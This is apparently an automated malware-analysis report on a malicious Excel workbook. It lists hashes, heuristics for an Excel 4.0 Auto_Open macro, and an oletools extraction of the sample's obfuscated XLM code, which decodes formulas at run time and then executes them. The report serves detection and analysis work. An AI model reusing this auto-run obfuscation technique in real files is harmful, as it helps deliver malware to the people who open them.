Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 70d51291eae46e0e…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:41:02 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 668513b60820507a8f2c593ac6b0cab6 SHA-1: 3facb0e7503c47f05854b6554a8934f6c7747f6c SHA-256: 70d51291eae46e0e32e573acce1d8e0a50aa1c831c1262df1777f52ac1a95b43
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6468 bytes
SHA-256: c478278ebd6b85ab98d5e3a8dabd7f3004ea59b29247f22030c95f7245b853a7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  HFwSo
' 0018     20 LABEL : Cell Value, String Constant - AfmBy len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E171 
' 0018     25 LABEL : Cell Value, String Constant - FRSbmjgWGz len=0 
' 0018     23 LABEL : Cell Value, String Constant - fueuQZjq len=0 
' 0018     26 LABEL : Cell Value, String Constant - ggzguAByEbq len=0 
' 0018     21 LABEL : Cell Value, String Constant - GMIoTA len=0 
' 0018     26 LABEL : Cell Value, String Constant - HtHUjCaKGpK len=0 
' 0018     22 LABEL : Cell Value, String Constant - JFJsKTv len=0 
' 0018     27 LABEL : Cell Value, String Constant - nBufCHtJaFkg len=0 
' 0018     27 LABEL : Cell Value, String Constant - nvdPNIQBcrzT len=0 
' 0018     25 LABEL : Cell Value, String Constant - NWbwYPkrdm len=0 
' 0018     26 LABEL : Cell Value, String Constant - ppaBdUEtymS len=0 
' 0018     21 LABEL : Cell Value, String Constant - Qjgxiu len=0 
' 0018     27 LABEL : Cell Value, String Constant - RsddPSclkdSi len=0 
' 0018     20 LABEL : Cell Value, String Constant - tBRJd len=0 
' 0018     26 LABEL : Cell Value, String Constant - tdjAhUYOskO len=0 
' 0018     23 LABEL : Cell Value, String Constant - UiHBJlgW len=0 
' 0018     21 LABEL : Cell Value, String Constant - VIlMYc len=0 
' 0018     25 LABEL : Cell Value, String Constant - WHlJQANOZP len=0 
' 0018     27 LABEL : Cell Value, String Constant - XqukKTGnIQPS len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZraHPZZkuET len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  HFwSo,E85,"SET.NAME("fueuQZjq",VALUE("0"))",""
'  HFwSo,E89,"SET.NAME("Qjgxiu",fueuQZjq)",""
'  HFwSo,E92,"SET.NAME("nBufCHtJaFkg",fueuQZjq)",""
'  HFwSo,E95,"SET.NAME("WHlJQANOZP",COUNTA(tBRJd))",""
'  HFwSo,E98,"SET.NAME("ppaBdUEtymS",COUNTA(FRSbmjgWGz))",""
'  HFwSo,E101,[],""
'  HFwSo,E106,"SET.NAME("nvdPNIQBcrzT","")",""
'  HFwSo,E108,"Qjgxiu",""
'  HFwSo,E113,"SET.NAME("XqukKTGnIQPS",HLOOKUP("*",tBRJd,Qjgxiu,FALSE))",""
'  HFwSo,E117,"AfmBy",""
'  HFwSo,E119,"SET.NAME("UiHBJlgW",fueuQZjq)",""
'  HFwSo,E123,[],""
'  HFwSo,E128,"UiHBJlgW",""
'  HFwSo,E132,"tdjAhUYOskO",""
'  HFwSo,E136,"NWbwYPkrdm",""
'  HFwSo,E139,"ZraHPZZkuET",""
'  HFwSo,E141,"SET.NAME("ggzguAByEbq",VALUE(HLOOKUP("*",FRSbmjgWGz,ZraHPZZkuET,FALSE)))",""
'  HFwSo,E144,"HtHUjCaKGpK",""
'  HFwSo,E148,"nvdPNIQBcrzT",""
'  HFwSo,E150,"nBufCHtJaFkg",""
'  HFwSo,E154,NEXT(),""
'  HFwSo,E158,"GMIoTA",""
'  HFwSo,E160,"SET.NAME("f",INT(T(FORMULA(T(nvdPNIQBcrzT)&"",""&T(GMIoTA)))))",""
'  HFwSo,E162,"VIlMYc",""
'  HFwSo,E164,NEXT(),""
'  HFwSo,E169,RETURN(),""
'  HFwSo,E200,"SET.NAME("JFJsKTv",E85)",""
'  HFwSo,E203,"tBRJd",""
'  HFwSo,E206,"SET.NAME("FRSbmjgWGz",R82C15)",""
'  HFwSo,E208,"SET.NAME("VIlMYc",219)",""
'  HFwSo,E213,"SET.NAME("RsddPSclkdSi",5)",""
'  HFwSo,E218,JFJsKTv(),""
'  HFwSo,E219,HALT(),""